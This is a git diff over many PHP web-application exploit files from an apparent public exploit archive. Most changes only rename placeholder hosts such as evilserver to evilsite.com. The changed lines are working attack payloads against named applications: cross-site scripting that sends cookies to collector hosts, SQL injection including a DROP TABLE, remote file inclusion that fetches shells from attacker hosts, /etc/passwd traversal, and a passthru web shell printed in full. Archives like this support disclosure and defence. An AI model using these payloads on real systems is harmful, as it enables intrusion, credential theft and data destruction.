http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006"><script>alert('vul')</script>&domain=xxx&target=xxx -http://www.example.com:2095/webmailaging.cgi?numdays=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&ageaction=change \ No newline at end of file +http://www.example.com:2095/webmailaging.cgi?numdays=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&ageaction=change \ No newline at end of file diff --git a/platforms/php/webapps/27164.txt b/platforms/php/webapps/27164.txt index 8821828d6..95e90d4fc 100755 --- a/platforms/php/webapps/27164.txt +++ b/platforms/php/webapps/27164.txt @@ -6,4 +6,4 @@ Successful exploitation could allow an attacker to compromise the application, a This issue is reported to affect UBB.Threads version 6.3; other versions may also be vulnerable. -http://www.example.com/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1 \ No newline at end of file +http://www.example.com/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1 \ No newline at end of file diff --git a/platforms/php/webapps/27165.txt b/platforms/php/webapps/27165.txt index 70134d51e..343e5fb12 100755 --- a/platforms/php/webapps/27165.txt +++ b/platforms/php/webapps/27165.txt @@ -7,4 +7,4 @@ Successful exploitation can allow an attacker to bypass authentication and gain Beehive Forum 0.6.2 is reported to be vulnerable. http://www.example.com/beehive/index.php?user_sess=k -http://www.example.com/beehive/index.php?user_sess=1+MYFORUM \ No newline at end of file +http://www.example.com/beehive/index.php?user_sess=1+MYFORUM \ No newline at end of file diff --git a/platforms/php/webapps/27166.txt b/platforms/php/webapps/27166.txt index c5d63580c..fb3dc0053 100755 --- a/platforms/php/webapps/27166.txt +++ b/platforms/php/webapps/27166.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary commands in the context This issue affects eyeOS version 0.8.9 and earlier. -http://www.example.com/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION[usr]=root&_SESSION[apps][eyeOptions.eyeapp][wrapup]=phpinfo(); \ No newline at end of file +http://www.example.com/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION[usr]=root&_SESSION[apps][eyeOptions.eyeapp][wrapup]=phpinfo(); \ No newline at end of file diff --git a/platforms/php/webapps/27167.txt b/platforms/php/webapps/27167.txt index cd0585951..2628be899 100755 --- a/platforms/php/webapps/27167.txt +++ b/platforms/php/webapps/27167.txt @@ -9,4 +9,4 @@ Note that an attacker must have sufficient message moderation and merging privil MyBB version 1.0.3 is reported to be vulnerable. http://www.example.com/mybb/moderation.php?posts=[firstpid]|[secondpid]?[SQL] -&tid=[containertid]&action=do_multimergeposts&sep=hr \ No newline at end of file +&tid=[containertid]&action=do_multimergeposts&sep=hr \ No newline at end of file diff --git a/platforms/php/webapps/2717.txt b/platforms/php/webapps/2717.txt index 439faa04d..e083c626f 100755 --- a/platforms/php/webapps/2717.txt +++ b/platforms/php/webapps/2717.txt @@ -23,9 +23,9 @@ - Exploit: - http://[target]/[path]/function_log.php?racine=http://evilserver/shell? - http://[target]/[path]/function_balise_url.php?racine=http://evilserver/shell? - http://[target]/[path]/connection.php?racine=http://evilserver/shell? + http://[target]/[path]/function_log.php?racine=http://evilsite.com/shell? + http://[target]/[path]/function_balise_url.php?racine=http://evilsite.com/shell? + http://[target]/[path]/connection.php?racine=http://evilsite.com/shell? ------------------------------------------------------------------------------------------------------------------ diff --git a/platforms/php/webapps/27170.txt b/platforms/php/webapps/27170.txt index f8f588f16..97e653987 100755 --- a/platforms/php/webapps/27170.txt +++ b/platforms/php/webapps/27170.txt @@ -5,4 +5,4 @@ The vwdev application is prone to an SQL-injection vulnerability. This issue is Successful exploitation can allow an attacker to bypass authentication, modify data, or exploit vulnerabilities in the underlying database implementation. Other attacks may also be possible. http://www.example.com/index.php?Page=definition&UID=2;[SQLINJECTION] -http://www.example.com/index.php?Page=definition&UID=2;Drop Table Docs; -- \ No newline at end of file +http://www.example.com/index.php?Page=definition&UID=2;Drop Table Docs; -- \ No newline at end of file diff --git a/platforms/php/webapps/27172.txt b/platforms/php/webapps/27172.txt index f76a7baff..8143e830b 100755 --- a/platforms/php/webapps/27172.txt +++ b/platforms/php/webapps/27172.txt @@ -11,4 +11,4 @@ Version 1.8.2g and earlier are vulnerable; other versions may also be affected. http://www.example.com/spip_rss.php?GLOBALS[type_urls]=/../ecrire/data/spip.log%00 http://www.example.com/spip_acces_doc.php3?id_document=0&file=<?system($_GET[cmd]);?> -http://www.example.com/spip_rss.php?cmd=ls%20-la&GLOBALS[type_urls]=/../ecrire/data/spip.log%00 \ No newline at end of file +http://www.example.com/spip_rss.php?cmd=ls%20-la&GLOBALS[type_urls]=/../ecrire/data/spip.log%00 \ No newline at end of file diff --git a/platforms/php/webapps/27176.txt b/platforms/php/webapps/27176.txt index 2876d5690..b56e5d307 100755 --- a/platforms/php/webapps/27176.txt +++ b/platforms/php/webapps/27176.txt @@ -10,4 +10,4 @@ http://www.example.com/guestbook.php?menuid=<script>alert('HELLO');</script> http://www.example.com/index.php?menuid=<script>alert(document.cookie);</script> http://www.example.com/inhalt.php?menuid=<script>alert(document.cookie);</script> http://www.example.com/forum.php?menuid=<script>alert('HELLO');</script> -http://www.example.com/kontakt.php?menuid=<script>alert('HELLO');</script> \ No newline at end of file +http://www.example.com/kontakt.php?menuid=<script>alert('HELLO');</script> \ No newline at end of file diff --git a/platforms/php/webapps/27183.txt b/platforms/php/webapps/27183.txt index 288a32ff8..5e049c52f 100755 --- a/platforms/php/webapps/27183.txt +++ b/platforms/php/webapps/27183.txt @@ -6,4 +6,4 @@ An attacker can exploit the directory-traversal vulnerability to retrieve arbitr The local file-include vulnerability lets the attacker include arbitrary local files. The impact of this issue depends on the content of the files included. If an attacker can place a malicious script on the vulnerable computer (either through legitimate means or through other latent vulnerabilities), then the attacker may be able to execute arbitrary code in the context of the webserver process. The attacker may also be able to use existing scripts to perform some malicious activity. -http://www.example.com/show_archives.php?template=/../../[local-file]%00 \ No newline at end of file +http://www.example.com/show_archives.php?template=/../../[local-file]%00 \ No newline at end of file diff --git a/platforms/php/webapps/27186.txt b/platforms/php/webapps/27186.txt index 2dc445ef6..a7431aae3 100755 --- a/platforms/php/webapps/27186.txt +++ b/platforms/php/webapps/27186.txt @@ -8,4 +8,4 @@ The cross-site scripting vulnerabilities may permit a remote attacker to steal c The SQL-injection issues are the result of the application's failure to properly sanitize user-supplied input that will be included in SQL queries. Successful exploitation of SQL-injection vulnerabilities could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/index.php/%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file +http://www.example.com/index.php/%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/2721.php b/platforms/php/webapps/2721.php index 5bbee0f17..0db30c297 100755 --- a/platforms/php/webapps/2721.php +++ b/platforms/php/webapps/2721.php @@ -55,7 +55,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/2724.txt b/platforms/php/webapps/2724.txt index e58f159d7..ed750a071 100755 --- a/platforms/php/webapps/2724.txt +++ b/platforms/php/webapps/2724.txt @@ -63,8 +63,8 @@ Also affected files : Proof Of Concept: ~~~~~~~~~~~~~~~ -http://server/sohoadmin/program/includes/shared_functions.php?_SESSION[docroot_path]=http://attacker.com/inject.txt? -http://server/sohoadmin/client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]=http://attacker.com/inject.txt? +http://target.com/sohoadmin/program/includes/shared_functions.php?_SESSION[docroot_path]=http://attacker.com/inject.txt? +http://target.com/sohoadmin/client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]=http://attacker.com/inject.txt? Solution: diff --git a/platforms/php/webapps/2725.txt b/platforms/php/webapps/2725.txt index 406f6dd9c..2a2898ab3 100755 --- a/platforms/php/webapps/2725.txt +++ b/platforms/php/webapps/2725.txt @@ -59,8 +59,8 @@ portfolio/admin/incl_voir_compet.php Proof Of Concept: ~~~~~~~~~~~~~~~ -http://server/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt? -http://server/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt? +http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt? +http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt? Solution: diff --git a/platforms/php/webapps/2726.txt b/platforms/php/webapps/2726.txt index d92d8f893..b3778dc3b 100755 --- a/platforms/php/webapps/2726.txt +++ b/platforms/php/webapps/2726.txt @@ -52,7 +52,7 @@ resources. Proof Of Concept: ~~~~~~~~~~~~~~~ -http://server/[agora-1.4-path]/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=http://attacker.com/inject.txt? +http://target.com/[agora-1.4-path]/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=http://attacker.com/inject.txt? Solution: diff --git a/platforms/php/webapps/2727.txt b/platforms/php/webapps/2727.txt index aab7a2b84..62d95e2cb 100755 --- a/platforms/php/webapps/2727.txt +++ b/platforms/php/webapps/2727.txt @@ -86,10 +86,10 @@ include_once($GLOBALS['srcdir'] . '/sql.inc'); Proof Of Concept: ~~~~~~~~~~~~~~~ -http://server/[OpenEMR-path]/interface/billing/billing_process.php?srcdir=http://atacker.com/inject.txt? -http://server/[OpenEMR-path]/interface/new/new_patient_save.php?srcdir=http://atacker.com/inject.txt? -http://server/[OpenEMR-path]/login.php?srcdir=http://atacker.com/inject.txt? -http://server/[OpenEMR-path]/library/translation.inc.php?GLOBALS[srcdir]=http://atacker.com/inject.txt? +http://target.com/[OpenEMR-path]/interface/billing/billing_process.php?srcdir=http://atacker.com/inject.txt? +http://target.com/[OpenEMR-path]/interface/new/new_patient_save.php?srcdir=http://atacker.com/inject.txt? +http://target.com/[OpenEMR-path]/login.php?srcdir=http://atacker.com/inject.txt? +http://target.com/[OpenEMR-path]/library/translation.inc.php?GLOBALS[srcdir]=http://atacker.com/inject.txt? diff --git a/platforms/php/webapps/27274.txt b/platforms/php/webapps/27274.txt index c47d5b5df..314ed80aa 100755 --- a/platforms/php/webapps/27274.txt +++ b/platforms/php/webapps/27274.txt @@ -1,4 +1,4 @@ -__ ___ ________ __ __ ____ __ __ + __ ___ ________ __ __ ____ __ __ /\ \ /\_ \ /\_____ \ /\ \ /\ \ /\ _`\ /\ \/\ \ \ \ \ __ __\//\ \\/____//'/'\ \ \___ __ ___\ \ \/'\ \ \ \L\ \ \ \ \ \ \ \ \ __/\ \/\ \ \ \ \ //'/' \ \ _ `\ /'__`\ /'___\ \ , < \ \ , /\ \ \ \ \ diff --git a/platforms/php/webapps/2732.txt b/platforms/php/webapps/2732.txt index 2523c2937..49b82717a 100755 --- a/platforms/php/webapps/2732.txt +++ b/platforms/php/webapps/2732.txt @@ -31,7 +31,7 @@ Key [:] CFG_PHPGIGGLE_ROOT=[file] \Example: -http://server/path/modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT=[Shell] +http://target.com/path/modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT=[Shell] # ajann,Turkey # ... diff --git a/platforms/php/webapps/2733.txt b/platforms/php/webapps/2733.txt index e8da8ccfc..897751458 100755 --- a/platforms/php/webapps/2733.txt +++ b/platforms/php/webapps/2733.txt @@ -30,7 +30,7 @@ + http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php + -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg=%3C%3Fphp%0D%0A%24open_file+%3D+fopen%28%22..%2F..%2F..%2Fevilfile.php%22%2C+%22w%22%29%3B%0D%0Afputs%28%24open_file%2C%22%3C%3Fphp+include%28%5C%24_GET%5B%27evil_include%27%5D%29%3B+%3F%3E%22%29%3B%0D%0Afclose%28%24open_file%29%3B%0D%0Achmod%28%22..%2F..%2F..%2Fevilfile.php%22%2C0777%29%3B%0D%0A%3F%3E + -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php -+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilserver/shell.php ++ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php +------------------------------------------------------------------------------------------- # milw0rm.com [2006-11-07] diff --git a/platforms/php/webapps/27379.txt b/platforms/php/webapps/27379.txt index 656bf8f5c..20ab1ccd2 100755 --- a/platforms/php/webapps/27379.txt +++ b/platforms/php/webapps/27379.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would be executed in the context of the a This issue is reported to affect versions 2.0.3 and prior. -Subject :<script>location.href="http://evilserver/deface.html";</script> \ No newline at end of file +Subject :<script>location.href="http://evilsite.com/deface.html";</script> \ No newline at end of file diff --git a/platforms/php/webapps/27395.txt b/platforms/php/webapps/27395.txt index 8c2feba08..588d4a078 100755 --- a/platforms/php/webapps/27395.txt +++ b/platforms/php/webapps/27395.txt @@ -12,4 +12,4 @@ http://www.example.com/dcp-portal611/mycontents.php?action=addnews&content_inici http://www.example.com/dcp-portal611/mycontents.php?action=addnews&mode=write&dcp_editor_contingut_html=xyz&c_name=<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>&c_image_name= http://www.example.com/dcp-portal611/mycontents.php?action=addanns&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> http://www.example.com/dcp-portal611/mycontents.php?action=updatecontent&cid="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> -http://www.example.com/dcp-portal611/mycontents.php?action=updatecontent&cid=1&mode=write&c_image_name=xyz&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> \ No newline at end of file +http://www.example.com/dcp-portal611/mycontents.php?action=updatecontent&cid=1&mode=write&c_image_name=xyz&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> \ No newline at end of file diff --git a/platforms/php/webapps/2740.txt b/platforms/php/webapps/2740.txt index 33de1347d..a94674cf9 100755 --- a/platforms/php/webapps/2740.txt +++ b/platforms/php/webapps/2740.txt @@ -23,8 +23,8 @@ - Exploit: - http://[target]/[path]/admin/auth/secure.php?cfgProgDir=http://evilserver/shell? - http://[target]/[path]/admin/auth/checklogin.php?cfgProgDir=http://evilserver/shell? + http://[target]/[path]/admin/auth/secure.php?cfgProgDir=http://evilsite.com/shell? + http://[target]/[path]/admin/auth/checklogin.php?cfgProgDir=http://evilsite.com/shell? -------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/2741.txt b/platforms/php/webapps/2741.txt index 34847c228..330d423be 100755 --- a/platforms/php/webapps/2741.txt +++ b/platforms/php/webapps/2741.txt @@ -21,7 +21,7 @@ - Exploit: - http://[target]/[path]/inc/irayofuncs.php?irayodirhack=http://evilserver/shell? + http://[target]/[path]/inc/irayofuncs.php?irayodirhack=http://evilsite.com/shell? diff --git a/platforms/php/webapps/27444.txt b/platforms/php/webapps/27444.txt index 9fcc1b911..e313462d3 100755 --- a/platforms/php/webapps/27444.txt +++ b/platforms/php/webapps/27444.txt @@ -4,4 +4,4 @@ Woltlab Burning Board is prone to a cross-site scripting vulnerability. This iss An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/filebase_redirect.php?fid='<script>location.href='http://yourserver/xss.php?cook='+escape(document.cookie)</script> \ No newline at end of file +http://www.example.com/filebase_redirect.php?fid='<script>location.href='http://yoursite.com/xss.php?cook='+escape(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/27447.txt b/platforms/php/webapps/27447.txt index 3c188869d..b06060453 100755 --- a/platforms/php/webapps/27447.txt +++ b/platforms/php/webapps/27447.txt @@ -6,4 +6,4 @@ Successful exploitation of these vulnerabilities could allow an attacker to comp http://www.example.com/music/cart/cart.php?message1='><script>alert(document.cookie) </script> -http://www.example.com/music/cart/cart.php?message='><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/music/cart/cart.php?message='><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2747.txt b/platforms/php/webapps/2747.txt index ae0abbc25..43d191487 100755 --- a/platforms/php/webapps/2747.txt +++ b/platforms/php/webapps/2747.txt @@ -25,7 +25,7 @@ #Exploit : #-------------------------------- # -#http://sitename.com/[MyAlbum_DIR]/language.inc.php?langs_dir=http://evilserver/evilscript.txt? +#http://sitename.com/[MyAlbum_DIR]/language.inc.php?langs_dir=http://evilsite.com/evilscript.txt? # # #================================================================================================ diff --git a/platforms/php/webapps/2750.txt b/platforms/php/webapps/2750.txt index 29e593061..012eec100 100755 --- a/platforms/php/webapps/2750.txt +++ b/platforms/php/webapps/2750.txt @@ -20,7 +20,7 @@ http://scripts.ringsworld.com/content-management/encapscms-0.3.6.zip include_once($root."core/Misc.php"); # ExPloit : -http://www.server/encapscms_PATH/core/core.php?root=[Evil Script] +http://www.site.com/encapscms_PATH/core/core.php?root=[Evil Script] #Contact: Firewall1954@hotmail.com diff --git a/platforms/php/webapps/2751.txt b/platforms/php/webapps/2751.txt index a01f51475..44b7d1ab1 100755 --- a/platforms/php/webapps/2751.txt +++ b/platforms/php/webapps/2751.txt @@ -34,7 +34,7 @@ #Examples: # # ./brewblogger.pl www.beerblog.com 3 -# ./brewblogger.pl www.myserver/beerblog +# ./brewblogger.pl www.mysite.com/beerblog # #Google Dork: # diff --git a/platforms/php/webapps/27521.txt b/platforms/php/webapps/27521.txt index c5df45775..53bd7ceba 100755 --- a/platforms/php/webapps/27521.txt +++ b/platforms/php/webapps/27521.txt @@ -43,7 +43,7 @@ Blind SQL Injection : #you must first be logged as admin probably more vulnerablities still there.. # # # # # -# Usage : python ajaxphpa.py -u http://server/item.php?id=[a valid id] # +# Usage : python ajaxphpa.py -u http://www.target.com/item.php?id=[a valid id] # # # # # # Greetz to : Mehdi,Esac,Issam,Ali,Haitam,Imad and all friends ;) # @@ -66,7 +66,7 @@ print "# Found & Coded by : Taha Hunter #" print "# #" print "# Contact me : vastmerdown@gmail.com #" print "# #" -print "#python ajaxphpa.py -u http://server/item.php?id=[a valid id] #" +print "#python ajaxphpa.py -u http://www.target.com/item.php?id=[a valid id] #" print "# #" print "#######################################################################" print "" diff --git a/platforms/php/webapps/27605.txt b/platforms/php/webapps/27605.txt index 5ef8b219f..b46decd07 100755 --- a/platforms/php/webapps/27605.txt +++ b/platforms/php/webapps/27605.txt @@ -18,7 +18,7 @@ #Poc/Exploit: # # -#http://server/[path]/news_desc.html?id=6' +#http://www.target.com/[path]/news_desc.html?id=6' # # #Greetz To : v4-team.com \ No newline at end of file diff --git a/platforms/php/webapps/2766.pl b/platforms/php/webapps/2766.pl index 070be62e3..d924b6c98 100755 --- a/platforms/php/webapps/2766.pl +++ b/platforms/php/webapps/2766.pl @@ -9,7 +9,7 @@ # usage: # perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable> # -# perl CMSmelborp.pl http://[target]/[path]/includes http://server/cmd.txt cmd +# perl CMSmelborp.pl http://[target]/[path]/includes http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -21,7 +21,7 @@ # Contact:dr.trojan@deltahacking.net ## # Web Site:www.deltahacking.net(private)&www.deltahacking.ir(Puplic) -# exploit: http://server/includes/user_standard.php?relative_root=http://yourshell/shell.txt?& +# exploit: http://site.com/includes/user_standard.php?relative_root=http://yourshell/shell.txt?& ## use LWP::UserAgent; diff --git a/platforms/php/webapps/27663.txt b/platforms/php/webapps/27663.txt index c5333a636..b0dedf482 100755 --- a/platforms/php/webapps/27663.txt +++ b/platforms/php/webapps/27663.txt @@ -5,8 +5,8 @@ DbbS is prone to multiple input-validation vulnerabilities. The issues include c An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials, execute commands to compromise the server, and launch other attacks. -http://www.server/DbbS/suntzu.php?cmd=dir +http://www.site.com/DbbS/suntzu.php?cmd=dir -http://www.server/DbbS/profile.php?mode=edit&myid=1&ulocation="><script>alert(document.cookie)</script> +http://www.site.com/DbbS/profile.php?mode=edit&myid=1&ulocation="><script>alert(document.cookie)</script> -http://www.server/DbbS/profile.php?mode=edit&myid=1&uhobbies="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.site.com/DbbS/profile.php?mode=edit&myid=1&uhobbies="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/27735.txt b/platforms/php/webapps/27735.txt index 3ffb6fa35..cb9664c80 100755 --- a/platforms/php/webapps/27735.txt +++ b/platforms/php/webapps/27735.txt @@ -4,7 +4,7 @@ phpWebFTP is prone to multiple cross-site scripting vulnerabilities. These issue An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.anyserver/PhpWebFtp/index.php?server=1&port=<script>var%20sub_variable=11233;alert(sub_variable);</script>&goPassive=on&user=1&password=1&language=bulgarian server=<script>alert(&#039;&#039;as-208395078&#039;);</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian +http://www.anysite.com/PhpWebFtp/index.php?server=1&port=<script>var%20sub_variable=11233;alert(sub_variable);</script>&goPassive=on&user=1&password=1&language=bulgarian server=<script>alert(&#039;&#039;as-208395078&#039;);</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian server=1&port=21&goPassive=on&user=<script>alert(&#039;as-453627&#039;);</script>&password=1&language=bulgarian server=><script>alert(&#039;as-208395078&#039;);</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian server=1&port=21&goPassive=on&user=&#039;><script>alert(&#039;as-208395078&#039;);</script>&password=1&language=bulgarian diff --git a/platforms/php/webapps/2775.txt b/platforms/php/webapps/2775.txt index 6b016f96b..aa08b27bf 100755 --- a/platforms/php/webapps/2775.txt +++ b/platforms/php/webapps/2775.txt @@ -12,10 +12,10 @@ include_once($installed_config_file) # ExPloit : - http://www.server/phpjobschedule_PATH/add-modify.php?installed_config_file=[Evil Script] -http://www.server/phpjobschedule_PATH/delete.php?installed_config_file=[Evil Script] -http://www.server/phpjobschedule_PATH/modify.php?installed_config_file=[Evil Script] -http://www.server/phpjobschedule_PATH/phpjobscheduler.php?installed_config_file=[Evil Script] + http://www.site.com/phpjobschedule_PATH/add-modify.php?installed_config_file=[Evil Script] +http://www.site.com/phpjobschedule_PATH/delete.php?installed_config_file=[Evil Script] +http://www.site.com/phpjobschedule_PATH/modify.php?installed_config_file=[Evil Script] +http://www.site.com/phpjobschedule_PATH/phpjobscheduler.php?installed_config_file=[Evil Script] # Contact: diff --git a/platforms/php/webapps/2776.txt b/platforms/php/webapps/2776.txt index 8bcd550e6..9c3146d78 100755 --- a/platforms/php/webapps/2776.txt +++ b/platforms/php/webapps/2776.txt @@ -11,10 +11,10 @@ malicious files to where you have access through 'upload.php'. ------------------------------------------ ~PoC ------------------------------------------ -http://server/cn/upload.php?path=/ -http://server/cn/upload.php?folder=/ +http://site.com/cn/upload.php?path=/ +http://site.com/cn/upload.php?folder=/ XSS: -http://server/cn/upload.php?path="><script>alert("xss")</script> +http://site.com/cn/upload.php?path="><script>alert("xss")</script> D0rk: intitle:intitle:ContentNow ------------------------------------------ diff --git a/platforms/php/webapps/27763.php b/platforms/php/webapps/27763.php index 6a8045910..5508dd785 100755 --- a/platforms/php/webapps/27763.php +++ b/platforms/php/webapps/27763.php @@ -12,7 +12,7 @@ Site:http://www.Aria-security.net Dork:"Powered by I-RATER PLATINUM" example: -target:http://www.server/admin/config_settings.tpl.php?include_path= +target:http://www.site.com/admin/config_settings.tpl.php?include_path= cmdshell:http://www.own3r.com/cmd.txt? */ diff --git a/platforms/php/webapps/27768.php b/platforms/php/webapps/27768.php index 5d67cc574..a1fc272eb 100755 --- a/platforms/php/webapps/27768.php +++ b/platforms/php/webapps/27768.php @@ -15,7 +15,7 @@ Site:http://www.Aria-security.net Dork:"/event/index.php?page=" example: -target:http://www.server/event/index.php?page= +target:http://www.site.com/event/index.php?page= cmdshell:http://www.own3r.com/cmd.txt? */ diff --git a/platforms/php/webapps/27845.php b/platforms/php/webapps/27845.php index 86ce561df..e263cc777 100755 --- a/platforms/php/webapps/27845.php +++ b/platforms/php/webapps/27845.php @@ -13,7 +13,7 @@ Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf url: http://www.xorcrew.net/ReZEN example: -turl: http://server/lib/session.inc.php?go_info[server][classes_root]= +turl: http://www.target.com/lib/session.inc.php?go_info[server][classes_root]= hurl: http://www.pwn3d.com/evil.txt? */ diff --git a/platforms/php/webapps/2791.txt b/platforms/php/webapps/2791.txt index 54105e5b4..41b94a646 100755 --- a/platforms/php/webapps/2791.txt +++ b/platforms/php/webapps/2791.txt @@ -23,8 +23,8 @@ # # Exploit: # -# http://www.exampleserver/upload/bin/download.php?filename=../conf/users.conf -# http://www.exampleserver/upload/bin/download.php?filename=/etc/passwd +# http://www.examplesite.com/upload/bin/download.php?filename=../conf/users.conf +# http://www.examplesite.com/upload/bin/download.php?filename=/etc/passwd # # Discovered: # diff --git a/platforms/php/webapps/2795.txt b/platforms/php/webapps/2795.txt index cde43d3c2..3d7d56677 100755 --- a/platforms/php/webapps/2795.txt +++ b/platforms/php/webapps/2795.txt @@ -21,7 +21,7 @@ # # Exploit: # -# http://dosepa.someserver/textview.php?file=/etc/passwd +# http://dosepa.somesite.com/textview.php?file=/etc/passwd # # Discovery: # diff --git a/platforms/php/webapps/27979.html b/platforms/php/webapps/27979.html index 36885d8c4..459a92433 100755 --- a/platforms/php/webapps/27979.html +++ b/platforms/php/webapps/27979.html @@ -5,7 +5,7 @@ myNewsletter is prone to an SQL-injection vulnerability. This issue is due to a A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. <html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit -</center><form name="adminLogin" method="post" action="http://www.server/newsletter/adminLogin.asp"> +</center><form name="adminLogin" method="post" action="http://www.site.com/newsletter/adminLogin.asp"> <input type="hidden" name="UserName" value="<!--&#039;union select 1 from Newsletter_Admin where &#039;&#039;=&#039;"> <input type="hidden" name="Password" value="1"> <center><br><input type="submit" name="Submit" value="Login"></center><br><br> diff --git a/platforms/php/webapps/2798.txt b/platforms/php/webapps/2798.txt index a4c45990c..31c5e9254 100755 --- a/platforms/php/webapps/2798.txt +++ b/platforms/php/webapps/2798.txt @@ -16,7 +16,7 @@ #Exploit : #-------------------------------- # -#http://server/(path to script)/matchdetail.php?edit=-1 UNION SELECT 0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1 +#http://target.com/(path to script)/matchdetail.php?edit=-1 UNION SELECT 0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1 # #================================================================================================ #Discoverd By : SHiKaA diff --git a/platforms/php/webapps/27999.txt b/platforms/php/webapps/27999.txt index 1323c154a..2a7035875 100755 --- a/platforms/php/webapps/27999.txt +++ b/platforms/php/webapps/27999.txt @@ -4,4 +4,4 @@ vsREAL and vSCAL are prone to multiple cross-site scripting vulnerabilities. The An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/vscal/index.php?page=showlisting&lid=<SCRIPT%20SRC=evilserver//xss.js></SCRIPT> \ No newline at end of file +http://www.example.com/vscal/index.php?page=showlisting&lid=<SCRIPT%20SRC=evilsite.com//xss.js></SCRIPT> \ No newline at end of file diff --git a/platforms/php/webapps/28000.txt b/platforms/php/webapps/28000.txt index 1d32e5353..0a1cb1288 100755 --- a/platforms/php/webapps/28000.txt +++ b/platforms/php/webapps/28000.txt @@ -4,4 +4,4 @@ vsREAL and vSCAL are prone to multiple cross-site scripting vulnerabilities. The An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/vscal/myslideshow.php?dir=./listings/317/images/&title=listing+317:+1966+Buick+<SCRIPT%20SRC=http://evilserver/xss.js></SCRIPT> \ No newline at end of file +http://www.example.com/vscal/myslideshow.php?dir=./listings/317/images/&title=listing+317:+1966+Buick+<SCRIPT%20SRC=http://evilsite.com/xss.js></SCRIPT> \ No newline at end of file diff --git a/platforms/php/webapps/28068.txt b/platforms/php/webapps/28068.txt index 1c33b6e6b..3e852db7d 100755 --- a/platforms/php/webapps/28068.txt +++ b/platforms/php/webapps/28068.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/v3chat/mail/index.php?action=read&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> \ No 